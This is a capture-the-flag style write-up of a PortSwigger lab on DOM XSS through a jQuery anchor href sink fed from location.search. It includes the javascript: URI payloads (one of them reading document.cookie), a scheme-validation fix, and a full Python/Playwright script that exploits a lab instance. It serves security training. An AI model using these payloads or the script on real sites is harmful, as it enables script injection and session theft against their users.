LearnCross-Site Scripting (XSS) › DOM XSS in jQuery anchor href attribute sink usi…

DOM XSS in jQuery anchor href attribute sink using location.search source

PortSwigger Apprentice Cross-Site Scripting (XSS)

Original lab: DOM XSS in jQuery anchor href attribute sink using location.search source on PortSwigger ↗

Every DOM XSS lab so far has involved raw HTML injection — breaking out of an attribute or supplying an event handler that the browser parses as markup. This lab is a different flavor entirely: the sink is a jQuery call that sets a link's href to a URL scheme the browser will happily execute, javascript:. No HTML tags, no angle brackets, no event handlers — just a URL.

The Target

The application has a "submit feedback" page with a returnPath parameter that controls where a "back" link on that page points. A normal request looks like:

GET /feedback?returnPath=/feedback/thanks

Client-side JavaScript uses jQuery's .attr('href', ...) to set the back link's destination from that parameter.

The Investigation

There is nothing to see in the server-side HTTP response here — the server never reflects the returnPath value into the page as visible markup; jQuery sets the href attribute purely on the client, after the page has already loaded. Inspecting the rendered anchor element (not the raw HTML response) showed our value landing directly as the href target, unfiltered. Since .attr('href', x) just assigns whatever string it's given as the link destination, and browsers treat javascript:... as an executable URL scheme when a link with that href is followed, we didn't need to break out of anything — we just needed the entire attribute value to be a javascript: URI.

The Exploit

We set returnPath to a JavaScript URL:

GET /feedback?returnPath=javascript:alert(1)

The back link's href became javascript:alert(1). Clicking that link — via a headless browser automation that clicked the "back" element rather than just loading the URL — caused the browser to execute the javascript: URI instead of navigating anywhere, firing the alert.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution follows the same path: change returnPath to / plus a random string, inspect the element to confirm it lands in the anchor's href, then set it to javascript:alert(document.cookie) and click "back" to trigger it. The core technique — recognizing a jQuery href sink and supplying a javascript: URI — is identical to ours; we used alert(1) rather than alert(document.cookie), a cosmetic difference in the proof-of-concept function call. The delivery difference is the now-familiar one: their walkthrough clicks the link by hand in the browser, we automated the click and listened for the resulting dialog.

What This Teaches Us

This lab is a useful counterexample to the assumption that DOM XSS always means "inject an HTML tag." Any sink that hands attacker data to something capable of executing script is dangerous, even when the sink itself never parses HTML — .attr('href', ...) doesn't render markup, but it *does* let an attacker choose an executable URL scheme. The fix has to match that reality: validate that user-supplied URLs actually use a safe scheme (http:/https:/relative paths) before assigning them to href, rather than trusting that "it's not innerHTML, so it's not a sink." Any client-side code that builds a URL, a redirect target, or a link destination from attacker-controlled data needs the same scrutiny as one that builds HTML.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
DOM XSS in jQuery anchor href attribute sink using location.search source
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)

Companion script for the writeup: 05-dom-xss-jquery-href-attribute-sink.md

What this does:
    jQuery's .attr('href', returnPath) sets a "back" link's destination
    straight from location.search with no filtering. There's no HTML to
    break out of -- the entire attribute just needs to be a javascript:
    URI. Sets the returnPath parameter, then drives a headless browser to
    the feedback page and clicks the "back" link (the payload only fires on
    click, not on page load) while listening for the alert() dialog.

Usage:
    python 05-dom-xss-jquery-href-attribute-sink.py <lab-url>
    e.g. python 05-dom-xss-jquery-href-attribute-sink.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
    pip install playwright && playwright install chromium
"""

import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright

# .attr('href', ...) doesn't parse HTML -- a javascript: URI is enough.
PAYLOAD = "javascript:alert(1)"


def solve(lab_url: str) -> None:
    client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
    client.get("/")
    session = client.cookies.get("session", "")
    domain = urllib.parse.urlparse(lab_url).netloc

    url = f"{lab_url}/feedback?returnPath={urllib.parse.quote(PAYLOAD)}"
    print(f"[*] Payload: {PAYLOAD}")
    print(f"[*] Delivering to: {url}")

    alert_fired = False
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        if session:
            ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
        page = ctx.new_page()

        def on_dialog(dialog):
            nonlocal alert_fired
            alert_fired = True
            dialog.accept()

        page.on("dialog", on_dialog)
        try:
            page.goto(url, wait_until="domcontentloaded", timeout=15000)
            page.wait_for_timeout(1000)
            # The javascript: URI only executes when the link is followed --
            # loading the page alone isn't enough.
            try:
                page.click("#backLink", timeout=3000)
            except Exception:
                page.click("a:has-text('Back')", timeout=3000)
            page.wait_for_timeout(3000)
        except Exception:
            pass
        browser.close()

    print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'} after clicking Back")

    check = client.get("/")
    if "Congratulations" in check.text:
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →